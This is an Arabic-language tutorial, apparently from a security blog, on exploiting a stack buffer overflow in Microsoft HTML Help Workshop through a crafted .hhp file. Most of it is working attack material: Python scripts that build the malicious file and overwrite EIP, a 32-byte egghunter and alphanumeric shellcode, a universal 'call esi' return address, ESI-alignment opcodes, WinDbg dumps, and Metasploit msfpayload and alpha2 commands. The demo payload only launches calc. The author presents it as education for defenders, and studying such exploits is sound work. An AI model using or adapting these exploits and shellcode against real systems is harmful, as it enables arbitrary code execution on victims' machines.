مقال يتحدث عن ثغرات البرامج وبصفة خاصة عن ثغرة في أداة Microsoft HTML Help Workshop سنتتبع خطوات استغلالها من خلل برمجي صغير الى استغلال يهدد الأجهزة. الأداة من برمجة Microsoft وهي قوية في تعديل صفحات HTML ولها عدة مزايا أخرى كما أنها تستعمل حاليا في العديد من الجامعات وتستخدم كأداة رسمية.

 

الأدوات:

  • Windbg: أداة قوية جدا وشخصيا افضلها على كافة المنقحات , والغرض منها في هذا المقال هو مدى قوة التنقيح debugging ودقة الحسابات.
  • Metasploit Generator: سيستخدم لتوليد shellcode مناسب للإستغلال.
  • Alpha2.c: لتوليد shellcode بالأرقام والحروف فقط Alphanumirical shellcode.
  • ‏‏‏لغة برمجية: أنا سأستخدم Python وفضلتها على لغة C لسهولة كتابة الكود عن طريقها وسهولة فهمه من طرف المتابعين للموضوع.

هذا الموضوع لا يتكلم عن الإختراق بل يهدف للتعريف بالطريقة التي يتمكن بها الهكر من إستغلال الثغرة وأيجاد حلول مناسبة لها. لن أتحدث عن كيفية تحديد كيمية البيانات التي أحدتث الخلل ولا على كيفية البحث عن العناوين من الذاكرة فهذه أمور قد يتم التطرق لها لاحقاً. وكما قلت سابقا غرضنا هو أن نيّن تفكير الهكر ونضع أنفسنا مكانه حين يحلل البرامج.

 

واجهة البرنامج:

Microsoft HTML Help Workshop Overflow - 1

 

لنر كيف يحدث الخلل:

#!usr/bin/python
# Microsoft html help workshop Buffer  advanced overflow exploitationheader1=(
“x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69”
“x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43”
“x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68”
“x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73”
“x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63”
“x3d”)

header2=(
“x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67”
“x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d”)

header3= “x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20”

header4=(
“x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a”
“x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d”
“x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a”)

payload =  header1
payload += “x44″*3000+”x0dx0a”

payload += header2
payload += “A” * 280
payload += “XXXX” # EIP is overwrited by this 4 bytes
payload += “x0dx0a”
payload += header3
payload += “x42″*1100
payload += header4

file = open(“1.hhp”,”w”)
file.write(payload)
file.close()

شغّل الكود السابق بإستخدام مفسّر Python وسيعطيك ملف 1.hhp إفتح الملف عن طريق البرنامج باستعمال windobg ولاحظ التغييرات:

Microsoft HTML Help Workshop Overflow - 2

 

كما لاحظنا حدوث overflow بالذاكرة وتم تغيير مسار عمل البرنامج والمؤشر EIP يدل الى موضع مجهول ‘XXXX’ بالذاكرة.

نستخدم الأمر d esi لرؤية ماذا يخزن هذا المسجل حاليا, وجدنا أنه يحتوي على البيانات التي قمنا بأدخالها والتي أدت لحدوث طفح بالذاكرة أي بمعنى أخر مكان وضع الـ shellcode (الإطار الأحمر)
هده الثغرة تظهر كأنها basic exploitation, يعني ان نقوم بعمل الشلكود في مكان A*280 ونستدعي المسجل esi عن طريق هذه التعليمة call esi or jmp esi ليتم تنفيذ الشيل كود بسرعة لكننا للأسف نجد ان هذه الطريقة لا تناسب والسبب هو أن حجم المساحة غير كافي لوضع shellcode خصوصا إن كان reverse shell or alphanum shellcode. الآن يجب أن نفكر في طريقة تجعله يزيد من مساحة الذاكرة لوضع الـ shellcode أو البحث عن مكان في الذاكرة نضع فيه الشيل كود ونقوم باستدعائه عن طريقة مجموعة من التعليمات.
سأتطرق لطريقتين لاستغلال هذه الثغرة, الأولى سهلة نوعا ما وهي طريقة إستدعاء egghunter أو shellhunter  ليبحث لنا عن مكان الشيل كود.
أما الطريقة الثانية فهي وضع الشيل كود في مكان ما بالذاكرة ثم نقوم باستدعائه وهذه الطريقة يستعملها الخبراء في هذا المجال. وساشرح الإثنتين بالتفصيل.

 

الطريقة الأولى (egghunting):

نبذة صغيرة عن أداة skape egghunt: أداة قام ببرمجتها أحد مطوري مشروع Metasploit يدعى skape حيث جعل مشكلة حجم المساحات أمراً سهل التخطي ذلك لأنه يستخدم بشكل اعتباطي.

C:>egghunt.exe cstyle 0x57303054
// 32 byte egghunt shellcode (egg=0x57303054)
unsigned char egghunt[] = “x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xexb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7”;

هذا الشيل كود الصغير مكوّن من 32 bytes يبحث عن العنوان الذي ادخلناه 0x57303054 داخل الذاكرة وأينما يوجد يتم استدعاء التعليمات التي بعدها. أي من هذا الجانب يمكننا أن نضع الشيل كود وراء هذا العنوان وسينفذ الشيل كود لكن من سلبيات هذه الطريقة أنها تستغرق بضع ثواني وأحيانا بضع دقائق ذلك لانه يبحث عن مكان العنوان المطلوب منه. إذاً لنطبق هذه الخاصية على مثالنا هذا ونرى ماذا سيحدث:

#!/usr/bin/python
# Microsoft html help workshop Buffer  advanced overflow exploitationshellcode = (
“x54x30x30x57x54x30x30x57”
“xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49”
“x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36”
“x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34”
“x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41”
“x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34”
“x42x50x42x30x42x30x4bx48x45x44x4ex43x4bx38x4ex37”
“x45x30x4ax57x41x50x4fx4ex4bx58x4fx44x4ax41x4bx58”
“x4fx35x42x52x41x50x4bx4ex49x34x4bx48x46x43x4bx38”
“x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c”
“x46x47x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e”
“x46x4fx4bx43x46x35x46x32x46x30x45x47x45x4ex4bx38”
“x4fx45x46x52x41x30x4bx4ex48x56x4bx58x4ex30x4bx34”
“x4bx38x4fx35x4ex31x41x30x4bx4ex4bx48x4ex31x4bx48”
“x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x43”
“x42x4cx46x56x4bx58x42x54x42x53x45x38x42x4cx4ax47”
“x4ex50x4bx48x42x54x4ex30x4bx58x42x37x4ex41x4dx4a”
“x4bx58x4ax46x4ax30x4bx4ex49x30x4bx58x42x48x42x4b”
“x42x30x42x30x42x30x4bx38x4ax46x4ex53x4fx35x41x33”
“x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37”
“x42x45x4ax36x50x47x4ax4dx44x4ex43x37x4ax36x4ax49”
“x50x4fx4cx58x50x30x47x55x4fx4fx47x4ex43x36x41x46”
“x4ex56x43x56x42x30x5a”)

header1=(
“x5bx4fx50x54x49x4fx4ex53x5dx0dx0ax43x6fx6dx70x61x74x69x62x69”
“x6cx69x74x79x3dx31x2ex31x20x6fx72x20x6cx61x74x65x72x0dx0ax43”
“x6fx6dx70x69x6cx65x64x20x66x69x6cx65x3dx74x65x73x74x2ex63x68”
“x6dx0dx0ax43x6fx6ex74x65x6ex74x73x20x66x69x6cx65x3dx74x65x73”
“x74x2ex68x68x63x0dx0ax44x65x66x61x75x6cx74x20x74x6fx70x69x63”
“x3d”)

header2=(
“x44x69x73x70x6cx61x79x20x63x6fx6dx70x69x6cx65x20x70x72x6fx67”
“x72x65x73x73x3dx4ex6fx0dx0ax49x6ex64x65x78x20x66x69x6cx65x3d”)

header3= “x4cx61x6ex67x75x61x67x65x3dx30x78x34x30x39x20”

header4=(
“x20x28x55x6ex69x74x65x64x20x53x74x61x74x65x73x29x0dx0ax0dx0a”
“x0dx0ax5bx46x49x4cx45x53x5dx0dx0ax74x65x73x74x2ex68x74x6dx0d”
“x0ax0dx0ax5bx49x4ex46x4fx54x59x50x45x53x5dx0dx0ax0dx0a”)

# skape egghunter
shellhunt=(
“x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74”
“xefxb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7”)

payload =  header1
payload += “x44″*1100+”x0dx0a”
payload += header2
payload+= shellhunt
payload += “A” * (280-len(shellhunt))
payload += “x7Fx13x40x00” #call esi 0040137F universal address
payload += “x0dx0a”
payload += header3
payload += shellcode
payload += “x42″*1100
payload += header4

file = open(“egghunt.hhp”,”w”)
file.write(payload)
file.close()

 

Microsoft HTML Help Workshop Overflow - 3

بعد مدة وجيزة اشتغل shellcode وقد إستخدمنا شيل كود ينفد calc فقط. لو لاحظتم أين وضعنا الشلكود فقد وضعناه في مكان عشوائي ويمككنا وضعه في اي مكان وسيتم استدعائه بعد انتهاء مدة البحث, لاحظ أيضاً إضافة السطر الأول فوق الشيل كود وهو كلمة البحث التي قمنا بها.

 

الطريقة الثانية (jumping to shellcode):

الاستثمار المحترف يتطلب عدة معايير ليكون كذلك ومنها أن يكون الاستثمار Universal يشتغل في أي نظام, أن ينفد أي شيل كود مهما كان حجمه ومهما كانت وضعيته ومهما كان نوع  الـ filters وهذا ما سنحاول القيام به وهو البحث عن مكان نستطيع وضع الشيل كود فيه وتنفيده باستعمال أحدة المسجلات وسنأخد على سبيل المثال المسجل  ESI.

نفتح الملف 1.hhp ونرى التغيرات, كما رأينا سابقاً نقوم بعمل  d esi:

Microsoft HTML Help Workshop Overflow - 4

Microsoft HTML Help Workshop Overflow - 5

جيد جداً الآن, وجدنا مكان مناسب للشيل كود سنرى هل هو كافي أم لا؟

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=003297f8 ecx=41414141 edx=009515e0 esi=003cb030 edi=003cb03b
eip=58585858 esp=0012ee48 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
58585858 ??              ???
0:000> d esi
003cb030  49 6e 64 65 78 20 66 69-6c 65 00 41 41 41 41 41  Index file.AAAAA
003cb040  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb050  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb060  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb070  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb080  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb090  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0a0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> d
003cb0b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb0f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb100  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb110  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb120  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA0:000> d
003cb130  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb140  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
003cb150  41 41 41 58 58 58 58 00-41 42 43 44 45 46 47 48  AAAXXXX.ABCDEFGH
003cb160  49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58  IJKLMNOPQRSTUVWX
003cb170  59 5a 44 44 44 44 44 44-44 44 44 44 44 44 44 44  YZDDDDDDDDDDDDDD
003cb180  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb190  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1a0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

0:000> d 003cb158
003cb158  41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50  ABCDEFGHIJKLMNOP
003cb168  51 52 53 54 55 56 57 58-59 5a 44 44 44 44 44 44  QRSTUVWXYZDDDDDD
003cb178  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb188  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb198  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1a8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1b8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1c8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
0:000> d
003cb1d8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1e8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb1f8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb208  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb218  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb228  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb238  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
003cb248  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

إذاً حسب ما سبق لدينا ما يلي: المسجل ESI الآن يحمل العنوان 003CB030 ولكن الشيل كود يتواجد في 003CB158. السؤال هو كيف نجعل المسجل ESI يؤشر الى العنوان 003CB158 أي مكان تواجد الشيل كود؟

بكل صراحة من الصعب ايضاح الفكرة ولكنني اقترحت ان تقرأ الكود الموجود في الأسفل وتمعن فيه جيداً وسترى أن هذه الطريقة متقدمة في استغلال الثغرة هي مجرد عمليات حسابية بالـ Hex:

ESI = 003cb030ADD ESI ,55445544 ; this will increase the ESI registre

;result :

ESI =  55810574

;————————-

SUB ESI,5544541C

result :

ESI = 003cb158 ;=====> the place of our shellcode xD

;———————————————–

Push ESI,ret ; push them on the stack and return the value

 

الآن نحتاج فقط الى الـ opcodes:

#0041771F     81EE 1C544455  ADD ESI,55445544
#00417725     81EE 1C544455  SUB ESI,5544541C
#0041772B     56             PUSH ESI
#0041772C     C3             RETN————————————
with python  :

align = “x81xC6x44x55x44x55x81xEEx1Cx54x44x55x56xc3”

أوشكت على الانتهاء, لم يبق إلا توليد shellcode من metasploit  project وتحويله الى alphanum shellcode باستعمال أداة Alpha2 . لتوليد shellcode من مشروع ميتاسبلويت نستعمل الأمر التالي:

root@attacker-labs:/home/simo36# cd /pentest/exploits/framework3
root@attacker-labs:/pentest/exploits/framework3# ./msfpayload windows/exec CMD=calc R > /pentest/exploits/tools/shellcalc.raw
root@attacker-labs:/pentest/exploits/framework3#

الان نحول الـ shellcode الى alphanum بإستعمال الأداة Alpha2. هذه الأداة قام ببرمجتها Skylined أحد أعضاء Google Chrome Security وهو مكتشف تقنية Heap Spray لإستغلال ثغرات المتصفح في أقل من دقيقة وسأتطرّق لاحقا لتفسير دقيق لهذه التقنية إن شاء الله.

هذه الأداة أعتبرها خارقة لأنها حلت العديد من المشاكل فهي تمكن من توليد شيل كود خاص بثغرات الـ unicode يعني هذا ما يدل على قوة هذه الّأداة ,, وقد تم اصدار نسخة Alpha3 لكن لم أجربها حتى الآن.

لتوليد شيل كود alphanum نقوم بكتابة الامر التالي:

root@attacker-labs:/pentest/exploits/framework3# cd /pentest/exploits/tools/
root@attacker-labs:/pentest/exploits/tools# ./alpha2 esi –uppercase < /pentest/exploits/tools/shellcalc.raw
VYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLKXK95P5PC0SPK9M5VQ8RSTLKPRVPLK
0RDLLK0RB4LKT27XDOX7PJ7V6QKOP1YPNL7L3QSL5RVL7PO1HO4MUQHGKRL0PR0WLKV2TPLK1RWL5QXPLK1PRXLEO0T
4PJUQXP0PLKQXUHLK0XWP5QN3KSWL1YLK7DLKEQN6VQKOVQO0NLIQHODMEQIW7HKPBUL45SSML87KSM6DRUKRV8LKQH
7TS1N3CVLKTL0KLKV85LUQN3LK5TLK5QN0LIQTWTQ4QKQKU1V91JPQKOKP0XQO0ZLKUBJKLF1M3ZUQLMMUNYEPS0S0V
0CXP1LKBOK7KO8UOKZPOEORQFCXOVLUOMMMKOYEWLEVSL5ZK0KKKP45S5OK77TSRRRORJUPF3KOXUCSSQ2L3S30TJA
root@attacker-labs:/pentest/exploits/tools#

لمشاهدة الإستغلال النهائي: microsoft_html_help_workshop_overflow_exploit.py

 

وأخيرا وليس أخيرا أرفقت لكم فيديو يبيّن الفرق بين الطريقتين وإحكم بنفسك أي الطريقتين أفضل.

{flv}microsoft-html-help-workshop-overflow{/flv}

 

تم الانتهاء من الشرح وهذا ما لدي لحد الآن. أتمنى أن اكون قد وفقت في شرحي وفي حال وجود أي إستفسارات أو أخطاء في الشرح أتمنى تنبيهي له.

عن الكاتب:


محمد غنام, اختصاصي في استثمار ثغرات البرامج, مهتم بتحليل الأنظمة ومتابعة آخر الثغرات, مهتم كذلك ببرمجة أدوات الهاكينغ بلغة السي والبايثون

Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedIn